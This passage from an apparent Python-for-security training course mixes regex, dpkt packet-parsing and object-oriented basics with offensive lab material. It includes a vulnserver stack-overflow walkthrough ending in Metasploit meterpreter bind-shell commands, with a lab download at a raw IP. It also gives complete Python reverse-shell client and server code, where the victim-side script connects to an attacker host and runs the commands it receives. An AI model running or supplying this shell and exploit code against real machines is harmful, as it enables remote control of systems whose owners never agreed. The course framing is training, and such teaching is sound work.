  1933.  
  1934. Output:
  1935. ['P', 'y', 't', 'h', 'o', 'n', 'i', 's', 't', 'h', 'e', 'b', 'e', 's', 't', 's', 'c', 'r', 'i', 'p', 't', 'i', 'n', 'g', 'l', 'a', 'n', 'g', 'u', 'a', 'g', 'e']
  1936.  
  1937.  
  1938.  
  1939.  
  1940. Solution-2 Extract each word (using "*" or "+")
  1941. ---------------------------------------------------------------------------
  1942.  
  1943. Code
  1944. ---------------------------Type This-----------------------------------
  1945.  
  1946. result=re.findall(r'\w*','Python is the best scripting language')
  1947. print result
  1948. ----------------------------------------------------------------------
  1949.  
  1950. Output:
  1951. ['Python', '', 'is', '', 'the', '', 'best', '', 'scripting', '', 'language', '']
  1952.  
  1953.  
  1954. Again, it is returning space as a word because "*" returns zero or more matches of pattern to its left. Now to remove spaces we will go with "+".
  1955.  
  1956. Code
  1957. ---------------------------Type This-----------------------------------
  1958.  
  1959. result=re.findall(r'\w+','Python is the best scripting language')
  1960. print result
  1961. ----------------------------------------------------------------------
  1962.  
  1963. Output:
  1964. ['Python', 'is', 'the', 'best', 'scripting', 'language']
  1965.  
  1966.  
  1967.  
  1968.  
  1969. Solution-3 Extract each word (using "^")
  1970. -------------------------------------------------------------------------------------
  1971.  
  1972.  
  1973. Code
  1974. ---------------------------Type This-----------------------------------
  1975.  
  1976. result=re.findall(r'^\w+','Python is the best scripting language')
  1977. print result
  1978. ----------------------------------------------------------------------
  1979.  
  1980. Output:
  1981. ['Python']
  1982.  
  1983. If we will use "$" instead of "^", it will return the word from the end of the string. Let's look at it.
  1984.  
  1985. Code
  1986. ---------------------------Type This-----------------------------------
  1987.  
  1988. result=re.findall(r'\w+$','Python is the best scripting language')
  1989. print result
  1990. ----------------------------------------------------------------------
  1991.  
  1992. Output:
  1993. [‘language']
  1994.  
  1995.  
  1996.  
  1997.  
  1998.  
  1999. **********************************************************
  2000. * Problem 2: Return the first two character of each word *
  2001. **********************************************************
  2002.  
  2003.  
  2004.  
  2005.  
  2006. Solution-1 Extract consecutive two characters of each word, excluding spaces (using "\w")
  2007. ------------------------------------------------------------------------------------------------------
  2008.  
  2009. Code
  2010. ---------------------------Type This-----------------------------------
  2011.  
  2012. result=re.findall(r'\w\w','Python is the best')
  2013. print result
  2014. ----------------------------------------------------------------------
  2015.  
  2016. Output:
  2017. ['Py', 'th', 'on', 'is', 'th', 'be', 'st']
  2018.  
  2019.  
  2020.  
  2021.  
  2022.  
  2023. Solution-2 Extract consecutive two characters those available at start of word boundary (using "\b")
  2024. ------------------------------------------------------------------------------------------------------
  2025.  
  2026. Code
  2027. ---------------------------Type This-----------------------------------
  2028.  
  2029. result=re.findall(r'\b\w.','Python is the best')
  2030. print result
  2031. ----------------------------------------------------------------------
  2032.  
  2033. Output:
  2034. ['Py', 'is', 'th', 'be']
  2035.  
  2036.  
  2037.  
  2038.  
  2039.  
  2040.  
  2041. ********************************************************
  2042. * Problem 3: Return the domain type of given email-ids *
  2043. ********************************************************
  2044.  
  2045.  
  2046. To explain it in simple manner, I will again go with a stepwise approach:
  2047.  
  2048.  
  2049.  
  2050.  
  2051.  
  2052. Solution-1 Extract all characters after "@"
  2053. ------------------------------------------------------------------------------------------------------------------
  2054.  
  2055. Code
  2056. ---------------------------Type This-----------------------------------
  2057.  
  2058. result=re.findall(r'@\w+','abc.test@gmail.com, xyz@test.com, test.first@strategicsec.com, first.test@rest.biz')
  2059. print result
  2060. ----------------------------------------------------------------------
  2061.  
  2062. Output: ['@gmail', '@test', '@strategicsec', '@rest']
  2063.  
  2064.  
  2065.  
  2066. Above, you can see that ".com", ".biz" part is not extracted. To add it, we will go with below code.
  2067.  
  2068. ---------------------------Type This-----------------------------------
  2069.  
  2070. result=re.findall(r'@\w+.\w+','abc.test@gmail.com, xyz@test.com, test.first@strategicsec.com, first.test@rest.biz')
  2071. print result
  2072. ----------------------------------------------------------------------
  2073.  
  2074. Output:
  2075. ['@gmail.com', '@test.com', '@strategicsec.com', '@rest.biz']
  2076.  
  2077.  
  2078.  
  2079.  
  2080.  
  2081.  
  2082. Solution – 2 Extract only domain name using "( )"
  2083. -----------------------------------------------------------------------------------------------------------------------
  2084.  
  2085.  
  2086. Code
  2087. ---------------------------Type This-----------------------------------
  2088.  
  2089. result=re.findall(r'@\w+.(\w+)','abc.test@gmail.com, xyz@test.com, test.first@strategicsec.com, first.test@rest.biz')
  2090. print result
  2091. ----------------------------------------------------------------------
  2092.  
  2093. Output:
  2094. ['com', 'com', 'com', 'biz']
  2095.  
  2096.  
  2097.  
  2098.  
  2099.  
  2100.  
  2101. ********************************************
  2102. * Problem 4: Return date from given string *
  2103. ********************************************
  2104.  
  2105.  
  2106. Here we will use "\d" to extract digit.
  2107.  
  2108.  
  2109. Solution:
  2110. ----------------------------------------------------------------------------------------------------------------------
  2111.  
  2112. Code
  2113. ---------------------------Type This-----------------------------------
  2114.  
  2115. result=re.findall(r'\d{2}-\d{2}-\d{4}','Joe 34-3456 12-05-2007, XYZ 56-4532 11-11-2016, ABC 67-8945 12-01-2009')
  2116. print result
  2117. ----------------------------------------------------------------------
  2118.  
  2119. Output:
  2120. ['12-05-2007', '11-11-2016', '12-01-2009']
  2121.  
  2122. If you want to extract only year again parenthesis "( )" will help you.
  2123.  
  2124.  
  2125. Code
  2126.  
  2127. ---------------------------Type This-----------------------------------
  2128.  
  2129. result=re.findall(r'\d{2}-\d{2}-(\d{4})','Joe 34-3456 12-05-2007, XYZ 56-4532 11-11-2016, ABC 67-8945 12-01-2009')
  2130. print result
  2131. ----------------------------------------------------------------------
  2132.  
  2133. Output:
  2134. ['2007', '2016', '2009']
  2135.  
  2136.  
  2137.  
  2138.  
  2139.  
  2140. *******************************************************************
  2141. * Problem 5: Return all words of a string those starts with vowel *
  2142. *******************************************************************
  2143.  
  2144.  
  2145.  
  2146.  
  2147. Solution-1 Return each words
  2148. -----------------------------------------------------------------------------------------------------------------
  2149.  
  2150. Code
  2151. ---------------------------Type This-----------------------------------
  2152.  
  2153. result=re.findall(r'\w+','Python is the best')
  2154. print result
  2155. ----------------------------------------------------------------------
  2156.  
  2157. Output:
  2158. ['Python', 'is', 'the', 'best']
  2159.  
  2160.  
  2161.  
  2162.  
  2163.  
  2164. Solution-2 Return words starts with alphabets (using [])
  2165. ------------------------------------------------------------------------------------------------------------------
  2166.  
  2167. Code
  2168. ---------------------------Type This-----------------------------------
  2169.  
  2170. result=re.findall(r'[aeiouAEIOU]\w+','I love Python')
  2171. print result
  2172. ----------------------------------------------------------------------
  2173.  
  2174. Output:
  2175. ['ove', 'on']
  2176.  
  2177. Above you can see that it has returned "ove" and "on" from the mid of words. To drop these two, we need to use "\b" for word boundary.
  2178.  
  2179.  
  2180.  
  2181.  
  2182.  
  2183. Solution- 3
  2184. ------------------------------------------------------------------------------------------------------------------
  2185.  
  2186. Code
  2187. ---------------------------Type This-----------------------------------
  2188.  
  2189. result=re.findall(r'\b[aeiouAEIOU]\w+','I love Python')
  2190. print result
  2191. ----------------------------------------------------------------------
  2192.  
  2193. Output:
  2194. []
  2195.  
  2196. In similar ways, we can extract words those starts with constant using "^" within square bracket.
  2197.  
  2198.  
  2199. Code
  2200. ---------------------------Type This-----------------------------------
  2201.  
  2202. result=re.findall(r'\b[^aeiouAEIOU]\w+','I love Python')
  2203. print result
  2204. ----------------------------------------------------------------------
  2205.  
  2206. Output:
  2207. [' love', ' Python']
  2208.  
  2209. Above you can see that it has returned words starting with space. To drop it from output, include space in square bracket[].
  2210.  
  2211.  
  2212. Code
  2213. ---------------------------Type This-----------------------------------
  2214.  
  2215. result=re.findall(r'\b[^aeiouAEIOU ]\w+','I love Python')
  2216. print result
  2217. ----------------------------------------------------------------------
  2218.  
  2219. Output:
  2220. ['love', 'Python']
  2221.  
  2222.  
  2223.  
  2224.  
  2225.  
  2226.  
  2227. *************************************************************************************************
  2228. * Problem 6: Validate a phone number (phone number must be of 10 digits and starts with 8 or 9) *
  2229. *************************************************************************************************
  2230.  
  2231.  
  2232. We have a list phone numbers in list "li" and here we will validate phone numbers using regular
  2233.  
  2234.  
  2235.  
  2236.  
  2237. Solution
  2238. -------------------------------------------------------------------------------------------------------------------------------------
  2239.  
  2240.  
  2241. Code
  2242. ---------------------------Type This-----------------------------------
  2243.  
  2244. import re
  2245. li=['9999999999','999999-999','99999x9999']
  2246. for val in li:
  2247. if re.match(r'[8-9]{1}[0-9]{9}',val) and len(val) == 10:
  2248. print 'yes'
  2249. else:
  2250. print 'no'
  2251.  
  2252. ----------------------------------------------------------------------
  2253.  
  2254. Output:
  2255. yes
  2256. no
  2257. no
  2258.  
  2259.  
  2260.  
  2261.  
  2262.  
  2263. ******************************************************
  2264. * Problem 7: Split a string with multiple delimiters *
  2265. ******************************************************
  2266.  
  2267.  
  2268.  
  2269. Solution
  2270. ---------------------------------------------------------------------------------------------------------------------------
  2271.  
  2272.  
  2273. Code
  2274. ---------------------------Type This-----------------------------------
  2275.  
  2276. import re
  2277. line = 'asdf fjdk;afed,fjek,asdf,foo' # String has multiple delimiters (";",","," ").
  2278. result= re.split(r'[;,\s]', line)
  2279. print result
  2280. ----------------------------------------------------------------------
  2281.  
  2282. Output:
  2283. ['asdf', 'fjdk', 'afed', 'fjek', 'asdf', 'foo']
  2284.  
  2285.  
  2286.  
  2287. We can also use method re.sub() to replace these multiple delimiters with one as space " ".
  2288.  
  2289.  
  2290. Code
  2291. ---------------------------Type This-----------------------------------
  2292.  
  2293. import re
  2294. line = 'asdf fjdk;afed,fjek,asdf,foo'
  2295. result= re.sub(r'[;,\s]',' ', line)
  2296. print result
  2297. ----------------------------------------------------------------------
  2298.  
  2299. Output:
  2300. asdf fjdk afed fjek asdf foo
  2301.  
  2302.  
  2303.  
  2304.  
  2305. **************************************************
  2306. * Problem 8: Retrieve Information from HTML file *
  2307. **************************************************
  2308.  
  2309.  
  2310.  
  2311. I want to extract information from a HTML file (see below sample data). Here we need to extract information available between <td> and </td> except the first numerical index. I have assumed here that below html code is stored in a string str.
  2312.  
  2313.  
  2314.  
  2315. Sample HTML file (str)
  2316. ---------------------------Paste This-----------------------------------
  2317.  
  2318. <tr align="center"><td>1</td> <td>Noah</td> <td>Emma</td></tr>
  2319. <tr align="center"><td>2</td> <td>Liam</td> <td>Olivia</td></tr>
  2320. <tr align="center"><td>3</td> <td>Mason</td> <td>Sophia</td></tr>
  2321. <tr align="center"><td>4</td> <td>Jacob</td> <td>Isabella</td></tr>
  2322. <tr align="center"><td>5</td> <td>William</td> <td>Ava</td></tr>
  2323. <tr align="center"><td>6</td> <td>Ethan</td> <td>Mia</td></tr>
  2324. <tr align="center"><td>7</td> <td HTML>Michael</td> <td>Emily</td></tr>
  2325. ----------------------------------------------------------------------
  2326.  
  2327. Solution:
  2328.  
  2329.  
  2330.  
  2331. Code
  2332. ---------------------------Type This-----------------------------------
  2333.  
  2334. result=re.findall(r'<td>\w+</td>\s<td>(\w+)</td>\s<td>(\w+)</td>',str)
  2335. print result
  2336. ----------------------------------------------------------------------
  2337.  
  2338. Output:
  2339. [('Noah', 'Emma'), ('Liam', 'Olivia'), ('Mason', 'Sophia'), ('Jacob', 'Isabella'), ('William', 'Ava'), ('Ethan', 'Mia'), ('Michael', 'Emily')]
  2340.  
  2341.  
  2342.  
  2343. You can read html file using library urllib2 (see below code).
  2344.  
  2345.  
  2346. Code
  2347. ---------------------------Type This-----------------------------------
  2348.  
  2349. import urllib2
  2350. response = urllib2.urlopen('')
  2351. html = response.read()
  2352. ----------------------------------------------------------------------
  2353.  
  2354.  
  2355.  
  2356. #################################################
  2357. # Lesson 16: Parsing Packets with Python's DPKT #
  2358. #################################################
  2359. The first thing that you will need to do is install dpkt.
  2360.  
  2361. ---------------------------Type This-----------------------------------
  2362.  
  2363.  
  2364. sudo apt-get install -y python-dpkt
  2365.  
  2366. ----------------------------------------------------------------------
  2367.  
  2368.  
  2369.  
  2370.  
  2371. Run tcpdump to capture a .pcap file that we will use for the next exercise
  2372.  
  2373. ---------------------------Type This-----------------------------------
  2374.  
  2375. sudo tcpdump -ni eth0 -s0 -w quick.pcap
  2376.  
  2377. ----------------------------------------------------------------------
  2378.  
  2379. --open another command prompt--
  2380.  
  2381. ---------------------------Type This-----------------------------------
  2382.  
  2383.  
  2384. wget http://packetlife.net/media/library/12/tcpdump.pdf
  2385.  
  2386. ----------------------------------------------------------------------
  2387.  
  2388. Let's do something simple:
  2389.  
  2390. ---------------------------Type This-----------------------------------
  2391.  
  2392.  
  2393. vi quickpcap.py
  2394.  
  2395. ---------------------------Paste This-----------------------------------
  2396.  
  2397. #!/usr/bin/python
  2398. import dpkt;
  2399.  
  2400. # Simple script to read the timestamps in a pcap file
  2401. # Reference: http://superbabyfeng.blogspot.com/2009/05/dpkt-tutorial-0-simple-example-how-to.html
  2402.  
  2403. f = open("quick.pcap","rb")
  2404. pcap = dpkt.pcap.Reader(f)
  2405.  
  2406. for ts, buf in pcap:
  2407. print ts;
  2408.  
  2409. f.close();
  2410.  
  2411.  
  2412. ----------------------------------------------------------------------
  2413.  
  2414.  
  2415. Now let's run the script we just wrote
  2416.  
  2417. ---------------------------Type This-----------------------------------
  2418.  
  2419. python quickpcap.py
  2420.  
  2421. ----------------------------------------------------------------------
  2422.  
  2423.  
  2424.  
  2425. How dpkt breaks down a packet:
  2426.  
  2427. Reference:
  2428. http://superbabyfeng.blogspot.com/2009/05/dpkt-tutorial-1-dpkt-sub-modules.html
  2429.  
  2430. src: the MAC address of SOURCE.
  2431. dst: The MAC address of DESTINATION
  2432. type: The protocol type of contained ethernet payload.
  2433.  
  2434. The allowed values are listed in the file "ethernet.py",
  2435. such as:
  2436. a) ETH_TYPE_IP: It means that the ethernet payload is IP layer data.
  2437. b) ETH_TYPE_IPX: Means that the ethernet payload is IPX layer data.
  2438.  
  2439.  
  2440. References:
  2441. http://stackoverflow.com/questions/6337878/parsing-pcap-files-with-dpkt-python
  2442.  
  2443.  
  2444.  
  2445.  
  2446.  
  2447.  
  2448. Ok - now let's have a look at pcapparsing.py
  2449.  
  2450. ---------------------------Type This-----------------------------------
  2451.  
  2452.  
  2453. sudo tcpdump -ni eth0 -s0 -w capture-100.pcap
  2454.  
  2455. ----------------------------------------------------------------------
  2456.  
  2457. --open another command prompt--
  2458.  
  2459. ---------------------------Type This-----------------------------------
  2460.  
  2461.  
  2462. wget http://packetlife.net/media/library/13/Wireshark_Display_Filters.pdf
  2463.  
  2464. ----------------------------------------------------------------------
  2465.  
  2466.  
  2467. Ok - now let's have a look at pcapparsing.py
  2468.  
  2469.  
  2470. --------------------------------------------------------------
  2471.  
  2472.  
  2473. import socket
  2474. import dpkt
  2475. import sys
  2476. f = open('capture-100.pcap','r')
  2477. pcapReader = dpkt.pcap.Reader(f)
  2478.  
  2479. for ts,data in pcapReader:
  2480. ether = dpkt.ethernet.Ethernet(data)
  2481. if ether.type != dpkt.ethernet.ETH_TYPE_IP: raise
  2482. ip = ether.data
  2483. tcp = ip.data
  2484. src = socket.inet_ntoa(ip.src)
  2485. srcport = tcp.sport
  2486. dst = socket.inet_ntoa(ip.dst)
  2487. dstport = tcp.dport
  2488. print "src: %s (port : %s)-> dest: %s (port %s)" % (src,srcport ,dst,dstport)
  2489.  
  2490. f.close()
  2491.  
  2492. ----------------------------------------------------------------------
  2493.  
  2494.  
  2495.  
  2496. OK - let's run it:
  2497.  
  2498. ---------------------------Type This-----------------------------------
  2499.  
  2500. python pcapparsing.py
  2501.  
  2502. ----------------------------------------------------------------------
  2503.  
  2504.  
  2505. running this script might throw an error like this:
  2506.  
  2507. Traceback (most recent call last):
  2508. File "pcapparsing.py", line 9, in <module>
  2509. if ether.type != dpkt.ethernet.ETH_TYPE_IP: raise
  2510.  
  2511.  
  2512. If it does it is just because your packet has something in it that we didn't specify (maybe ICMP, or something)
  2513.  
  2514.  
  2515.  
  2516.  
  2517. Your homework for today...
  2518.  
  2519.  
  2520. Rewrite this pcapparsing.py so that it prints out the timestamp, the source and destination IP addresses, and the source and destination ports.
  2521.  
  2522.  
  2523.  
  2524.  
  2525.  
  2526.  
  2527. Your challenge is to fix the Traceback error
  2528. ----------------------------------------------------------------------
  2529.  
  2530.  
  2531. #####################################
  2532. # Quick Stack Based Buffer Overflow #
  2533. #####################################
  2534.  
  2535. - You can download everything you need for this exercise (except netcat) from the link below
  2536. http://45.63.104.73/ExploitLab.zip
  2537.  
  2538. - Extract this zip file to your Desktop
  2539.  
  2540. - Go to folder C:\Users\Student\Desktop\ExploitLab\2-VulnServer, and run vulnserv.exe
  2541.  
  2542. - Open a new command prompt and type:
  2543. nc localhost 9999
  2544.  
  2545. - In the new command prompt window where you ran nc type:
  2546. HELP
  2547.  
  2548. - Go to folder C:\Users\Student\Desktop\ExploitLab\4-AttackScripts
  2549. - Right-click on 1-simplefuzzer.py and choose the option edit with notepad++
  2550.  
  2551. - Now double-click on 1-simplefuzzer.py
  2552. - You'll notice that vulnserv.exe crashes. Be sure to note what command and the number of As it crashed on.
  2553.  
  2554.  
  2555. - Restart vulnserv, and run 1-simplefuzzer.py again. Be sure to note what command and the number of As it crashed on.
  2556.  
  2557. - Now go to folder C:\Users\Student\Desktop\ExploitLab\3-OllyDBG and start OllyDBG. Choose 'File' -> 'Attach' and attach to process vulnserv.exe
  2558.  
  2559. - Go back to folder C:\Users\Student\Desktop\ExploitLab\4-AttackScripts and double-click on 1-simplefuzzer.py.
  2560.  
  2561. - Take note of the registers (EAX, ESP, EBP, EIP) that have been overwritten with As (41s).
  2562.  
  2563. - Now isolate the crash by restarting your debugger and running script 2-3000chars.py
  2564.  
  2565. - Calculate the distance to EIP by running script 3-3000chars.py
  2566. - This script sends 3000 nonrepeating chars to vulserv.exe and populates EIP with the value: 396F4338
  2567.  
  2568. 4-count-chars-to-EIP.py
  2569. - In the previous script we see that EIP is overwritten with 396F4338 is 8 (38), C (43), o (6F), 9 (39)
  2570. - so we search for 8Co9 in the string of nonrepeating chars and count the distance to it
  2571.  
  2572. 5-2006char-eip-check.py
  2573. - In this script we check to see if our math is correct in our calculation of the distance to EIP by overwriting EIP with 42424242
  2574.  
  2575. 6-jmp-esp.py
  2576. - In this script we overwrite EIP with a JMP ESP (6250AF11) inside of essfunc.dll
  2577.  
  2578. 7-first-exploit
  2579. - In this script we actually do the stack overflow and launch a bind shell on port 4444
  2580.  
  2581. 8 - Take a look at the file vulnserv.rb and place it in your Ubuntu host via SCP or copy it and paste the code into the host.
  2582.  
  2583.  
  2584. ---------------------------------------------------------------
  2585.  
  2586. On your Linux host please type the following as a regular user:
  2587. ---------------------------------------------------------------
  2588. cd ~/toolz/metasploit/modules/exploits/windows/misc
  2589.  
  2590. nano vulnserv.rb (paste the code into this file)
  2591.  
  2592.  
  2593.  
  2594. cd ~/toolz/metasploit
  2595.  
  2596. ./msfconsole
  2597.  
  2598.  
  2599.  
  2600. use exploit/windows/misc/vulnserv
  2601. set PAYLOAD windows/meterpreter/bind_tcp
  2602. set RHOST 192.168.150.1
  2603. set RPORT 9999
  2604. exploit
  2605.  
  2606.  
  2607.  
  2608.  
  2609. #############
  2610. # Functions #
  2611. #############
  2612.  
  2613.  
  2614. ***********************
  2615. * What are Functions? *
  2616. ***********************
  2617.  
  2618.  
  2619. Functions are a convenient way to divide your code into useful blocks, allowing us to order our code, make it more readable, reuse it and save some time. Also functions are a key way to define interfaces so programmers can share their code.
  2620.  
  2621. How do you write functions in Python?
  2622.  
  2623. Python makes use of blocks.
  2624.  
  2625. A block is a area of code of written in the format of:
  2626.  
  2627. block_head:
  2628.  
  2629. 1st block line
  2630.  
  2631. 2nd block line
  2632.  
  2633. ...
  2634.  
  2635.  
  2636. Where a block line is more Python code (even another block), and the block head is of the following format: block_keyword block_name(argument1,argument2, ...) Block keywords you already know are "if", "for", and "while".
  2637.  
  2638. Functions in python are defined using the block keyword "def", followed with the function's name as the block's name. For example:
  2639.  
  2640. def my_function():
  2641. print("Hello From My Function!")
  2642.  
  2643.  
  2644. Functions may also receive arguments (variables passed from the caller to the function). For example:
  2645.  
  2646. def my_function_with_args(username, greeting):
  2647. print("Hello, %s , From My Function!, I wish you %s"%(username, greeting))
  2648.  
  2649.  
  2650. Functions may return a value to the caller, using the keyword- 'return' . For example:
  2651.  
  2652. def sum_two_numbers(a, b):
  2653. return a + b
  2654.  
  2655.  
  2656. ****************************************
  2657. * How do you call functions in Python? *
  2658. ****************************************
  2659.  
  2660. Simply write the function's name followed by (), placing any required arguments within the brackets. For example, lets call the functions written above (in the previous example):
  2661.  
  2662. # Define our 3 functions
  2663. ---------------------------Type these commands-----------------------------------
  2664. $ python
  2665.  
  2666. >>> def my_function():
  2667. print("Hello From My Function!")
  2668.  
  2669. >>> def my_function_with_args(username, greeting):
  2670. print("Hello, %s , From My Function!, I wish you %s"%(username, greeting))
  2671.  
  2672. >>> def sum_two_numbers(a, b):
  2673. return a + b
  2674.  
  2675. >>> my_function()
  2676.  
  2677.  
  2678. >>> my_function_with_args("Joe", "a great year!")
  2679.  
  2680.  
  2681. >>> x = sum_two_numbers(1,2)
  2682.  
  2683. >>> x
  2684. ---------------------------------------------------------------------------------
  2685.  
  2686.  
  2687.  
  2688. ************
  2689. * Exercise *
  2690. ************
  2691.  
  2692. In this exercise you'll use an existing function, and while adding your own to create a fully functional program.
  2693.  
  2694. Add a function named list_benefits() that returns the following list of strings: "More organized code", "More readable code", "Easier code reuse", "Allowing programmers to share and connect code together"
  2695.  
  2696. Add a function named build_sentence(info) which receives a single argument containing a string and returns a sentence starting with the given string and ending with the string " is a benefit of functions!"
  2697.  
  2698. Run and see all the functions work together!
  2699.  
  2700.  
  2701. ---------------------------Type these commands-----------------------------------
  2702. def list_benefits():
  2703. benefits_list = ["More organized code", "More readable code", "Easier code reuse", "Allowing programmers to share and connect code together"]
  2704. return benefits_list
  2705.  
  2706.  
  2707. def build_sentence(benefit):
  2708. return "%s is a benefit of functions!" % benefit
  2709.  
  2710. def name_the_benefits_of_functions():
  2711. list_of_benefits = list_benefits()
  2712. for benefit in list_of_benefits:
  2713. print(build_sentence(benefit))
  2714.  
  2715. name_the_benefits_of_functions()
  2716. --------------------------------------------------------------------------------
  2717.  
  2718.  
  2719.  
  2720.  
  2721. ##########################
  2722. # Python Lambda Function #
  2723. ##########################
  2724. Python allows you to create anonymous function i.e function having no names using a facility called lambda function.
  2725.  
  2726. lambda functions are small functions usually not more than a line. It can have any number of arguments just like a normal function. The body of lambda functions is very small and consists of only one expression. The result of the expression is the value when the lambda is applied to an argument. Also there is no need for any return statement in lambda function.
  2727.  
  2728. Let’s take an example:
  2729.  
  2730. Consider a function multiply()
  2731.  
  2732. def multiply(x, y):
  2733. return x * y
  2734.  
  2735.  
  2736. This function is too small, so let’s convert it into a lambda function.
  2737.  
  2738. To create a lambda function first write keyword lambda followed by one of more arguments separated by comma, followed by colon sign ( : ), followed by a single line expression.
  2739.  
  2740. ---------------------------Type these commands-----------------------------------
  2741. >>> r = lambda x, y: x * y
  2742.  
  2743. >>> r(12,3)
  2744. 36
  2745. -----------------------------------------------------------------------
  2746.  
  2747. Here we are using two arguments x and y , expression after colon is the body of the lambda function. As you can see lambda function has no name and is called through the variable it is assigned to.
  2748.  
  2749. You don’t need to assign lambda function to a variable.
  2750.  
  2751. ---------------------------Type these commands-----------------------------------
  2752. >>> (lambda x, y: x * y)(3,4)
  2753. 12
  2754. -----------------------------------------------------------------------
  2755.  
  2756. Note that lambda function can’t contain more than one expression.
  2757.  
  2758.  
  2759.  
  2760. ##################
  2761. # Python Classes #
  2762. ##################
  2763.  
  2764.  
  2765. ****************
  2766. * Introduction *
  2767. ****************
  2768. Classes are the cornerstone of Object Oriented Programming. They are the blueprints used to create objects. And, as the name suggests, all of Object Oriented Programming centers around the use of objects to build programs.
  2769.  
  2770. You don't write objects, not really. They are created, or instantiated, in a program using a class as their basis. So, you design objects by writing classes. That means that the most important part of understanding Object Oriented Programming is understanding what classes are and how they work.
  2771.  
  2772.  
  2773.  
  2774. ***********************
  2775. * Real World Examples *
  2776. ***********************
  2777. This next part if going to get abstract. You can think of objects in programming just like objects in the real world. Classes are then the way you would describe those objects and the plans for what they can do.
  2778.  
  2779. Start off by thinking about a web vuln scanner.
  2780.  
  2781. What about what they can do? Nearly every web vuln scanner can do the same basic things, but they just might do them differently or at different speeds. You could then describe the actions that a vuln scanner can perform using functions. In Object Oriented Programming, though, functions are called methods.
  2782.  
  2783. So, if you were looking to use "vuln scanner" objects in your program, you would create a "vuln scanner" class to serve as a blueprint with all of the variables that you would want to hold information about your "vuln scanner" objects and all of the methods to describe what you would like your vuln scanner to be able to do.
  2784.  
  2785.  
  2786. ******************
  2787. * A Python Class *
  2788. ******************
  2789.  
  2790.  
  2791. Now that you have a general idea of what a class is, it's best to take a look at a real Python class and study how it is structured.
  2792.  
  2793. ---------------------------Type these commands-----------------------------------
  2794. $ python
  2795.  
  2796. >>> class WebVulnScanner(object):
  2797. make = 'Acunetix'
  2798. model = '10.5'
  2799. year = '2014'
  2800. version ='Consultant Edition'
  2801. profile = 'High Risk'
  2802.  
  2803.  
  2804. def crawling(self, speed):
  2805. print("Crawling at %s" % speed)
  2806.  
  2807.  
  2808. def scanning(self, speed):
  2809. print("Scanning at %s" % speed)
  2810. --------------------------------------------------------------------------------
  2811.  
  2812.  
  2813. Creating a class looks a lot like creating a function. Instead of def you use the keyword, class. Then, you give it a name, just like you would a function. It also has parenthesis like a function, but they don't work the way you think. For a class the parenthesis allow it to extend an existing class. Don't worry about this right now, just understand that you have to put the object there because it's the base of all other classes.
  2814.  
  2815. From there, you can see a bunch of familiar things that you'd see floating around any Python program, variables and functions. There are a series of variables with information about the scanner and a couple of methods(functions) describing what the scanner can do. You can see that each of the methods takes two parameters, self and speed. You can see that "speed" is used in the methods to print out how fast the scanner is scanning, but "self" is different.
  2816.  
  2817.  
  2818. *****************
  2819. * Using A Class *
  2820. *****************
  2821.  
  2822.  
  2823. You're ready to start using the WebVulnScanner class. Create a new Python file and paste the class in. Below, you can create an object using it. Creating, or instantiating, an object in Python looks like the line below.
  2824. ---------------------------Type This-----------------------------------
  2825. >>> myscanner = WebVulnScanner()
  2826. -----------------------------------------------------------------------
  2827.  
  2828.  
  2829. That's it. To create a new object, you just have to make a new variable and set it equal to class that you are basing your object on.
  2830.  
  2831. Get your scanner object to print out its make and model.
  2832. ---------------------------Type This-----------------------------------
  2833. >>> print("%s %s" % (myscanner.make, myscanner.model))
  2834. -----------------------------------------------------------------------
  2835.  
  2836. The use of a . between an object and its internal components is called the dot notation. It's very common in OOP. It works for methods the same way it does for variables.
  2837. ---------------------------Type This-----------------------------------
  2838. >>> myscanner.scanning('10req/sec')
  2839. -----------------------------------------------------------------------
  2840.  
  2841. What if you want to change the profile of your scanning? You can definitely do that too, and it works just like changing the value of any other variable. Try printing out the profile of your scanner first. Then, change the profile, and print it out again.
  2842. ---------------------------Type This-----------------------------------
  2843. >>> print("The profile of my scanner settings is %s" % myscanner.profile)
  2844.  
  2845. >>> myscanner.profile = "default"
  2846.  
  2847. >>> print("The profile of my scanner settings is %s" % myscanner.profile)
  2848. -----------------------------------------------------------------------
  2849.  
  2850. Your scanner settings are default now. What about a new WebVulnScanner? If you made a new scanner object, would the scanning profile be default? Give it a shot.
  2851. ---------------------------Type This-----------------------------------
  2852. >>> mynewscanner = WebVulnScanner()
  2853.  
  2854. >>> print("The scanning profile of my new scanner is %s" % mynewscanner.profile)
  2855. -----------------------------------------------------------------------
  2856.  
  2857. That one's high risk. New objects are copied from the class, and the class still says that the profile is high risk. Objects exist in the computer's memory while a program is running. When you change the values within an object, they are specific to that object as it exists in memory. The changes won't persist once the program stops and won't change the class that it was created from.
  2858.  
  2859.  
  2860.  
  2861.  
  2862. ###############################
  2863. # Reverse Shell in Python 2.7 #
  2864. ###############################
  2865.  
  2866. We'll create 2 python files. One for the server and one for the client.
  2867.  
  2868. - Below is the python code that is running on victim/client Windows machine:
  2869.  
  2870. ---------------------------Paste This-----------------------------------
  2871.  
  2872. # Client
  2873.  
  2874. import socket # For Building TCP Connection
  2875. import subprocess # To start the shell in the system
  2876.  
  2877. def connect():
  2878. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  2879. s.connect(('192.168.243.150',8080))
  2880.  
  2881. while True: #keep receiving commands
  2882. command = s.recv(1024)
  2883.  
  2884. if 'terminate' in command:
  2885. s.close() #close the socket
  2886. break
  2887.  
  2888. else:
  2889.  
  2890. CMD = subprocess.Popen(command, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
  2891. s.send( CMD.stdout.read() ) # send the result
  2892. s.send( CMD.stderr.read() ) # incase you mistyped a command.
  2893. # we will send back the error
  2894.  
  2895. def main ():
  2896. connect()
  2897. main()
  2898.  
  2899.  
  2900. ----------------------------------------------------------------------
  2901.  
  2902. - Below is the code that we should run on server unit, in our case InfosecAddicts Ubuntu machine ( Ubuntu IP: 192.168.243.150 )
  2903.  
  2904. ---------------------------Paste This-----------------------------------
  2905.  
  2906. # Server
  2907.  
  2908. import socket # For Building TCP Connection
  2909.  
  2910.  
  2911. def connect ():
  2912.  
  2913. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  2914. s.bind(("192.168.243.150", 8080))
  2915. s.listen(1)
  2916. conn, addr = s.accept()
  2917. print '[+] We got a connection from: ', addr
  2918.  
  2919.  
  2920. while True:
  2921. command = raw_input("Shell> ")
  2922.  
  2923. if 'terminate' in command:
  2924. conn.send('termminate')
  2925. conn.close() # close the connection with host
  2926. break
  2927.  
  2928. else:
  2929. conn.send(command) #send command
  2930. print conn.recv(1024)
  2931.  
  2932. def main ():
  2933. connect()
  2934. main()
  2935.  
